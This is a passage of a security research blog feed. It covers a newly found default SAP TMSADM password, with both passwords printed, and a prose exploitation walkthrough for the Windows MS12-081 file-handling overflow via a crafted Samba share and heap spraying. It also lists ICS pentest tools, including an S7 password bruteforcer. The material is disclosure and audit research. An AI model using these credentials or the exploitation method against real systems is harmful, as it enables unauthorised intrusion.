&lt;a href="http://www.blogger.com/blogger.g?blogID=8549938467002440724" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;/a&gt;&lt;a href="http://www.blogger.com/blogger.g?blogID=8549938467002440724" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;/a&gt;&lt;a href="http://www.blogger.com/blogger.g?blogID=8549938467002440724" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;/a&gt;&lt;a href="http://www.blogger.com/blogger.g?blogID=8549938467002440724" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;/a&gt;&lt;a href="http://www.blogger.com/blogger.g?blogID=8549938467002440724" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;/a&gt;&lt;a href="http://www.blogger.com/blogger.g?blogID=8549938467002440724" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;/a&gt;&lt;a href="http://www.blogger.com/blogger.g?blogID=8549938467002440724" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;/a&gt;&lt;a href="http://www.blogger.com/blogger.g?blogID=8549938467002440724" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;/a&gt;&lt;span style="letter-spacing: 0.0px;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;The very last update of the source code is related to adding user checks. For more information let's see the note (issued in a month following the code changing, on April 27, 2011).&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="letter-spacing: 0.0px;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style="letter-spacing: 0.0px;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-XDRO8RxKOdk/USeREiTGPpI/AAAAAAAACho/gB1XjfJIMRE/s1600/sap_def5.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;/a&gt;&lt;a href="http://www.blogger.com/blogger.g?blogID=8549938467002440724" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;/a&gt;&lt;a href="http://www.blogger.com/blogger.g?blogID=8549938467002440724" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;/a&gt;&lt;a href="http://www.blogger.com/blogger.g?blogID=8549938467002440724" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;/a&gt;&lt;a href="http://www.blogger.com/blogger.g?blogID=8549938467002440724" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;/a&gt;&lt;a href="http://www.blogger.com/blogger.g?blogID=8549938467002440724" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;/a&gt;&lt;a href="http://www.blogger.com/blogger.g?blogID=8549938467002440724" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;/a&gt;&lt;a href="http://www.blogger.com/blogger.g?blogID=8549938467002440724" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;/a&gt;&lt;a href="http://www.blogger.com/blogger.g?blogID=8549938467002440724" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;/a&gt;&lt;img border="0" height="156" src="http://1.bp.blogspot.com/-XDRO8RxKOdk/USeREiTGPpI/AAAAAAAACho/gB1XjfJIMRE/s640/sap_def5.png" style="cursor: move;" width="640" /&gt;&lt;/div&gt;
&lt;span style="letter-spacing: 0.0px;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style="letter-spacing: 0.0px;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="-webkit-text-decorations-in-effect: none; color: black; font-size: small;"&gt;Everything is confirmed. In early 2011, SAP developers made changes to the report RSUSR003, added checks for the user TMSADM providing two possible passwords: PASSWORD and $1Pawd2&amp;amp;.&lt;/span&gt;&lt;/div&gt;
&lt;div style="font: 11.0px 'Lucida Grande'; margin: 0.0px 0.0px 10.0px 0.0px;"&gt;
&lt;span style="letter-spacing: 0.0px;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style="letter-spacing: 0.0px;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Conclusions we can draw:&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;ol style="list-style-type: decimal;"&gt;
&lt;li style="font: 11.0px 'Lucida Grande'; margin: 0.0px 0.0px 10.0px 0.0px;"&gt;&lt;span style="letter-spacing: 0.0px;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;While carrying out the SAP systems security audit, the existence of another default password for TMSADM should be taken into account. Make sure that the used password differs from the two default passwords. (Password $1Pawd2&amp;amp; was discovered in 2 of our test benches, so it can be easily found in your system.)&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="font: 11.0px 'Lucida Grande'; margin: 0.0px 0.0px 10.0px 0.0px;"&gt;&lt;span style="letter-spacing: 0.0px;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;Specialists responsible for the security of their own SAP systems should implement note 1552894 to make sure default passwords for the system users were changed, including the one for the user TMSADM.&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
</description><link>http://blog.ptsecurity.com/2013/02/sap-unknown-default-password-for-tmsadm.html</link><author>noreply@blogger.com (Positive Research)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-CkVNGnBNDC4/USeLLdPg5cI/AAAAAAAAChA/qZunE0fgX6c/s72-c/password.jpg" height="72" width="72" /><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8549938467002440724.post-3505154742668481613</guid><pubDate>Mon, 11 Feb 2013 14:18:00 +0000</pubDate><atom:updated>2013-02-11T07:13:34.386-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">windows</category><category domain="http://www.blogger.com/atom/ns#">vulnerability</category><category domain="http://www.blogger.com/atom/ns#">MS12-081</category><category domain="http://www.blogger.com/atom/ns#">microsoft file handling component</category><title>Surprise for Network Resources from kernel32 (MS12-081, Detailed Analysis of Vulnerability in Microsoft File Handling Component) </title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-SUgGKstQ83U/URkKhH_7viI/AAAAAAAACgg/NFXiNF_tekg/s1600/Kernel32.dll_skachat_16a155d4c37bb191fd4bb1a5032.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/-SUgGKstQ83U/URkKhH_7viI/AAAAAAAACgg/NFXiNF_tekg/s1600/Kernel32.dll_skachat_16a155d4c37bb191fd4bb1a5032.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;
Microsoft issued a bulletin related to a vulnerability in Microsoft File Handling Component on December 11, 2012. The vulnerability was rated critical and assigned the category Remote Code Execution. Remote code execution is carried out, when a user opens a shared network resource with specially crafted contents. This report provides exploitation details.&lt;br /&gt;
&lt;br /&gt;
The results are based on Windows XP SP3 x86. The vulnerability itself is contained in the functions FindFirstFileExW and FindNextFileExW of the library kernel32.dll, which copy data received from the native function NtQueryDirectoryFile with the help of memmove. The problem is that a number received from NtQueryDirectoryFile is used as the size of a source buffer for the copy function, however, it may happen that the size of a destination buffer can be smaller than the result of NtQueryDirectoryFile.&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;
This vulnerability affects all applications, which use the functions of the families FindFirstFile/FindNextFile. The first application that comes to my mind is explorer.exe. An attacker only needs to make a user open a link to the malware resource. And, if everything is going well, they will be able to execute code with the same user rights as the current user. The remote execution script according to Microsoft FAQ is possible only via UNC share or WebDAV. A UNC (Universal Naming Convention) path can indicate a file share network resource running on the basis of the SMB protocol. Linux with the Samba service, which allows creating shared fields basing on the protocol, was chosen for the test. We wanted to carry out an attack in accordance with the following scheme.&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/-eV0PDMh6vwQ/URj2fr7M_RI/AAAAAAAACe4/pB5CHYfnQb8/s1600/1_en.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="274" src="http://3.bp.blogspot.com/-eV0PDMh6vwQ/URj2fr7M_RI/AAAAAAAACe4/pB5CHYfnQb8/s640/1_en.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;
Linux has a similar restriction (not a path length, but a file name length), which is 255 characters. It is only needed to modify the resources of the Samba server to send a vulnerable Windows machine a directory listing with file names, which length exceeds 255 characters. The function smbd_marshall_dir_entry from trans2.c (Samba 3.6.6), which partially forms the server task, is one of the holes for malware injection. For the first test, the name of the output files was extended over 0x100 bytes and filled with the constant 0xfeeddead. Trying to use a modified server from a vulnerable machine, you can see the following.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-LNXH-Y2ZBEM/URj8Zg08dOI/AAAAAAAACfY/GE15Esiv0Ho/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="640" src="http://1.bp.blogspot.com/-LNXH-Y2ZBEM/URj8Zg08dOI/AAAAAAAACfY/GE15Esiv0Ho/s640/2.png" width="542" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
The screenshot shows that explorer.exe tried to read DWORD by the address from the EDX register. The read value participates in creating an address for the call. It's easy to see ascending the call stack that the first two parameters of the function RecentDocs_Enum are under control, besides they are rendered further. These values can be rewritten because they are located in a stack (see the scheme below).&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-n-sq7-GOb34/URj8kO9p8JI/AAAAAAAACfg/L05mBV_1bCE/s1600/3_en.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="604" src="http://4.bp.blogspot.com/-n-sq7-GOb34/URj8kO9p8JI/AAAAAAAACfg/L05mBV_1bCE/s640/3_en.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
The function CFSFolder_CreateEnum allocates memory of size 0x498 for an instance of the class CFileSysEnum; this chunk contains the structure WIN32_FIND_DATA with offset 0x224. A pointer to this structure is transferred to the vulnerable function FindFirstFileEx, which rewrites the values that allow control hijacking.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
It is necessary to conduct a heap-spray attack to exploit this vulnerability. File names received by CShellBrowser2 are the objects for heap spraying in this case. Therefore, it is needed to create a lot of files on a shared network resource to conduct a heap-spray attack. The figure below provides the attack scheme. Note: the DEP (Data Execution Prevention) system is not considered in this scheme; it is evident that shellcode is in the heap, which should not be executable.&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/-J2exhCmq73U/URj8tW8pqmI/AAAAAAAACfo/xbZlbZcmm4s/s1600/4_en.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="416" src="http://3.bp.blogspot.com/-J2exhCmq73U/URj8tW8pqmI/AAAAAAAACfo/xbZlbZcmm4s/s640/4_en.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
One of the attack problems is server response fragmentation into several SMB packets. The driver mrxsmb.sys responsible for the SMB protocol includes the function MrxSmbUnalignedDirEntryCopyTail. This function checks the length of received names transferred to the user mode. If the limit of 0x200 bytes is exceeded, the function will display the error STATUS_INVALID_NETWORK_RESPONSE (0xC00000C3), and then NtQueryDirectoryFile will stop sending names for FindNextFile.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
This check can be bypassed as follows. First of all, it is necessary to create a set of files, which will conduct the heap-spray attack, and then to remove all the files from the directory and create a file, the name of which is the vulnerability trigger. The Samba server, in case of changes in the file system with a connected server, will send a packet with the function NT_NOTIFY, which will make the client repeat the request FIN_FIRST2 to the server having received only one malware name. Besides, the file names received earlier will remain in memory. Moreover, it is possible to control the order of the names, because they are sorted by name. It is worth noting that the names received from the Samba server should be unique; it is provided by allocating 5 bytes from the main file name field to the unique identifier.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
It is also worth noting that the file name transport supports interaction via the SMB protocol in double-byte Unicode.&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-jJiiC2pJ1Cw/URj81fpEUhI/AAAAAAAACfw/T_DguXsy8-8/s1600/5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="332" src="http://4.bp.blogspot.com/-jJiiC2pJ1Cw/URj81fpEUhI/AAAAAAAACfw/T_DguXsy8-8/s640/5.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
It restricts addresses rewritten on the vulnerable client, but due to the fact that the Samba server output is modified after conversion of single-byte to double-byte characters, these restrictions are insignificant, though they complicate the modified server's running process. Sending a big data packet, the server divides it into parts, and the client having received another such data part sends the sever a name, starting with which it should proceed the transaction (see the figure below).&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-lxHKGXZGr2Y/URj87-pQ0uI/AAAAAAAACf4/RRHtD4Iu2v4/s1600/6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="102" src="http://1.bp.blogspot.com/-lxHKGXZGr2Y/URj87-pQ0uI/AAAAAAAACf4/RRHtD4Iu2v4/s640/6.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
Due to the fact that when conducting the heap-spray attack unreal data is output, then the name to continue the output will be unreal as well. That is why it is needed to render the received continue_name in a real name on the server, with which it is necessary to continue.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
This construction allows code execution on a vulnerable machine with probability 1/7. Finally, we should say that the vulnerability can be easily exploited "in a wild life", though for creation of a combat exploit, one will have to solve the problem with DEP and find optimizing algorithms for heap spraying (to increase the probability of success).&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;i&gt;Author: Kirill Nesterov, Positive Research.&lt;/i&gt;&lt;/div&gt;
&lt;/div&gt;
</description><link>http://blog.ptsecurity.com/2013/02/surprise-for-network-resources-from.html</link><author>noreply@blogger.com (Positive Research)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-SUgGKstQ83U/URkKhH_7viI/AAAAAAAACgg/NFXiNF_tekg/s72-c/Kernel32.dll_skachat_16a155d4c37bb191fd4bb1a5032.jpg" height="72" width="72" /><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8549938467002440724.post-1772466578789328389</guid><pubDate>Mon, 28 Jan 2013 08:56:00 +0000</pubDate><atom:updated>2013-05-16T08:47:56.514-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Scada security</category><category domain="http://www.blogger.com/atom/ns#">SCADA</category><category domain="http://www.blogger.com/atom/ns#">Best of Positive Research</category><title>ICS Security Analysis — New Pentest Tools</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
Industrial system (ICS/SCADA) security is a modern trend in information security. However, there is always a shortage of specialized tools for pentest or audit of ICS security. This article covers the latest publications, utilities, and presentations of Positive Technologies experts — all this will help you to ensure industrial system security..&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style="font-size: large;"&gt;Theory To Start With&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Understanding of real threats is the core for any information security project. To ease this task, Positive Technologies experts assisted by the community http://asutpforum.ru undertook a large-scale study of the ICS systems (ICS/SCADA), the results of which are available here:&amp;nbsp;&lt;a href="http://ptsecurity.com/download/SCADA_analytics_english.pdf"&gt;http://ptsecurity.com/download/SCADA_analytics_english.pdf&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-size: large;"&gt;&lt;b&gt;Two Stories Of The Same Pentest&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
One of the problems of modern ICS is large-scale integrated projects related to MES construction and integration with business systems such as ERP. The report "&lt;a href="http://sgordey.blogspot.ru/2012/06/erp-scada.html%20." target="_blank"&gt;From ERP to SCADA. Back and Forth. Two Stories of the Same Pentest&lt;/a&gt;" [ru] exemplifies what such projects can result in if they do not comply with security requirements.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style="font-size: large;"&gt;ICS/SCADA/PLC Google/Shodanhq Cheat Sheet&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Statements that industrial control systems are available via the Internet are usually taken with skepticism. A tool, which allows estimating a threat by yourself, has been published recently. Take notice that devices and systems provided in this list are all enterprise-level systems and will hardly be used to control fridges and microwaves.&lt;br /&gt;
&lt;br /&gt;
&lt;iframe allowfullscreen="" frameborder="0" height="356" marginheight="0" marginwidth="0" mozallowfullscreen="" scrolling="no" src="http://www.slideshare.net/slideshow/embed_code/15775917" style="border-width: 1px 1px 0; border: 1px solid #CCC; margin-bottom: 5px;" webkitallowfullscreen="" width="427"&gt; &lt;/iframe&gt; &lt;br /&gt;
&lt;div style="margin-bottom: 5px;"&gt;
&lt;br /&gt;&lt;/div&gt;
The following video demonstrates what ICS availability via the Internet can result in:&lt;br /&gt;
&lt;br /&gt;
&lt;iframe allowfullscreen="" frameborder="0" height="270" src="http://www.youtube.com/embed/DycuwCYN7M8" width="480"&gt;&lt;/iframe&gt;

&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;Attention! &lt;/b&gt;Do not try to repeat it at home. A vulnerable system can control a very important object, and if it is handled carelessly it may cause damages. If all of a sudden you have detected an ICS available via the Internet, contact its owner or Computer Emergency Response Team, who can eliminate this flaw.&lt;br /&gt;
&lt;br /&gt;
Contact &lt;a href="http://gov-cert.ru/"&gt;GOV-CERT.RU&lt;/a&gt; if dealing with the systems of Russia, with regional CERT such as &lt;a href="http://www.us-cert.gov/control_systems/ics-cert/" target="_blank"&gt;ICS-CERT&lt;/a&gt; if dealing with international systems.&lt;br /&gt;
&lt;br /&gt;
Anonymous, judging by their Twitter, have already considered this tool, and it scares a little bit.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-YBtCxqrL1b4/UP5yGvjjv_I/AAAAAAAACbM/HLQZv9zW6xs/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="134" src="http://1.bp.blogspot.com/-YBtCxqrL1b4/UP5yGvjjv_I/AAAAAAAACbM/HLQZv9zW6xs/s640/1.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style="font-size: large;"&gt;PLCScan&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
This open-code utility allows detecting devices interacting via the S7comm or Modbus protocols in a system. When a device is detected, PLCScan tries to obtain information about its vendor, type, installed modules, and etc.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-RgdhyCL179s/UP5y0FTzi8I/AAAAAAAACbU/6KwDwOuGwHo/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="410" src="http://4.bp.blogspot.com/-RgdhyCL179s/UP5y0FTzi8I/AAAAAAAACbU/6KwDwOuGwHo/s640/2.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Demonstrating video:&lt;br /&gt;
&lt;br /&gt;
&lt;iframe allowfullscreen="" frameborder="0" height="270" src="http://www.youtube.com/embed/SgZTJva2NfA" width="480"&gt;&lt;/iframe&gt;

&lt;br /&gt;
&lt;br /&gt;
The utility is available here:&amp;nbsp; &lt;a href="https://code.google.com/p/plcscan/"&gt;https://code.google.com/p/plcscan/&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style="font-size: large;"&gt;WinCC Harvester&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Metasploit WinCC Harvester can be used when access to SCADA WinCC has been obtained to collect additional information about a project, users, and controllers connected to a system.&lt;br /&gt;
&lt;br /&gt;
Demonstrating video:&lt;br /&gt;
&lt;br /&gt;
&lt;iframe allowfullscreen="" frameborder="0" height="270" src="http://www.youtube.com/embed/OtWSv4nNQus" width="480"&gt;&lt;/iframe&gt;&lt;br /&gt;
&lt;br /&gt;
The utility is available here:&amp;nbsp;&lt;a href="https://github.com/nxnrt/wincc_harvester"&gt;https://github.com/nxnrt/wincc_harvester&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style="font-size: large;"&gt;Siemens SIMATIC WinCC 7.X Security Hardening Guide&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
A &lt;a href="http://www.ptsecurity.com/download/WINCC%20-Compliance%20v5_eng.pdf" target="_blank"&gt;checklist &lt;/a&gt;can be used for WinCC configuration in accordance with security requirements and for system security assessment in the course of audits.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If a lot of systems are assessed, the procedure can be automated as in case of MaxPatrol.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-Zd_VnFG5dh4/UP5z7MkaPLI/AAAAAAAACbg/yZHM4COeLx8/s1600/3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="520" src="http://1.bp.blogspot.com/-Zd_VnFG5dh4/UP5z7MkaPLI/AAAAAAAACbg/yZHM4COeLx8/s640/3.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style="font-size: large;"&gt;Siemens WinCC / S7 Under The X-ray&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
SCADA Security Scientific Symposium held in Miami on January 16-17 saw the report of Positive Technologies experts related to the results of Siemens WinCC/S7 security research. The report also covered SIMATIC WinCC/WinCC Flexible/TIA Portal and S7 PLC; from a network stack to an application, from a system architecture review to firmware reverse engineering. Sergey Gordeychik, Gleb Gritsay, and Denis Baranov considered almost 50 zero-day vulnerabilities and released a checklist for the configuration of WinCC Flexible 2008.&lt;br /&gt;
&lt;br /&gt;
&lt;iframe allowfullscreen="" frameborder="0" height="511" marginheight="0" marginwidth="0" mozallowfullscreen="" scrolling="no" src="http://www.slideshare.net/slideshow/embed_code/16021690" style="border-width: 1px 1px 0; border: 1px solid #CCC; margin-bottom: 5px;" webkitallowfullscreen="" width="479"&gt; &lt;/iframe&gt; &lt;br /&gt;
&lt;div style="margin-bottom: 5px;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;b&gt;&lt;span style="font-size: large;"&gt;S7 password offline bruteforce tool&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
During the report the experts of Positive Technologies provided also a utility, which can be used to test S7 password strength in the course of audits and pentests.&lt;br /&gt;
&lt;br /&gt;
The utility is available here:&amp;nbsp;&lt;a href="http://pastebin.com/0G9Q2k6y"&gt;http://pastebin.com/0G9Q2k6y&lt;/a&gt;.&lt;/div&gt;
</description><link>http://blog.ptsecurity.com/2013/01/ics-security-analysis-new-pentest-tools.html</link><author>noreply@blogger.com (Positive Research)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://img.youtube.com/vi/DycuwCYN7M8/default.jpg" height="72" width="72" /><thr:total>2</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8549938467002440724.post-975918042091504641</guid><pubDate>Thu, 17 Jan 2013 11:28:00 +0000</pubDate><atom:updated>2013-01-17T03:28:44.690-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Chaos Communication Congress</category><category domain="http://www.blogger.com/atom/ns#">29C3</category><category domain="http://www.blogger.com/atom/ns#">phdays</category><category domain="http://www.blogger.com/atom/ns#">SCADA</category><category domain="http://www.blogger.com/atom/ns#">workshop</category><title>Positive Technologies Experts Took Part in Chaos Communication Congress in Hamburg</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/-_0MENr4yJag/UPfeB5UyDOI/AAAAAAAACaU/C9zR8_58rXw/s1600/1.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="213" src="http://3.bp.blogspot.com/-_0MENr4yJag/UPfeB5UyDOI/AAAAAAAACaU/C9zR8_58rXw/s320/1.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;a href="http://en.wikipedia.org/wiki/Chaos_Communication_Congress" target="_blank"&gt;Chaos Communication Congress&lt;/a&gt; organized by &lt;a href="http://en.wikipedia.org/wiki/Chaos_Computer_Club" target="_blank"&gt;Chaos Computer Club&lt;/a&gt; is one of the oldest (since 1984) and largest events of the hacker world in Europe. The latest twenty ninth in succession meeting (29С3 as called by the organizers) brought together 6,000 participants including representatives of our company — Sergey Gordeychik, Gleb Gritsay, and Yury Goltsev.&lt;br /&gt;
&lt;br /&gt;
The Congress scenario included multiple reports and workshops focused on various information security aspects.&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;
Sergey Gordeychik and Gleb Gritsay reported on the results of the security research of the largest ICS systems.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-3rJtqljj5co/UPfeIqDxNqI/AAAAAAAACac/GoRAiL8KNyA/s1600/hamburg.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="478" src="http://4.bp.blogspot.com/-3rJtqljj5co/UPfeIqDxNqI/AAAAAAAACac/GoRAiL8KNyA/s640/hamburg.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;i&gt;By the way, this presentation was partially &lt;a href="http://www.ptsecurity.com/about/news/13472/" target="_blank"&gt;shown &lt;/a&gt;at the Power of Community (PoC) conference held in Seoul.&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
The audience was very interested in the report (both the visitors and online audience), and, by popular request, the team of Positive Technologies joined the workshop of Maryna Krotofil, a doctoral candidate at Hamburg University of Technology, which was dedicated to&amp;nbsp;ICS systems security.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-8Ea_RRE67cc/UPfeaHV9pLI/AAAAAAAACak/kulXVJ7-__c/s1600/IMG_3436.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="400" src="http://1.bp.blogspot.com/-8Ea_RRE67cc/UPfeaHV9pLI/AAAAAAAACak/kulXVJ7-__c/s400/IMG_3436.JPG" width="265" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
In the end the workshop took two hours instead of an hour as had been planned by the organizers; and various vulnerabilities of programmable logic controllers were demonstrated.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
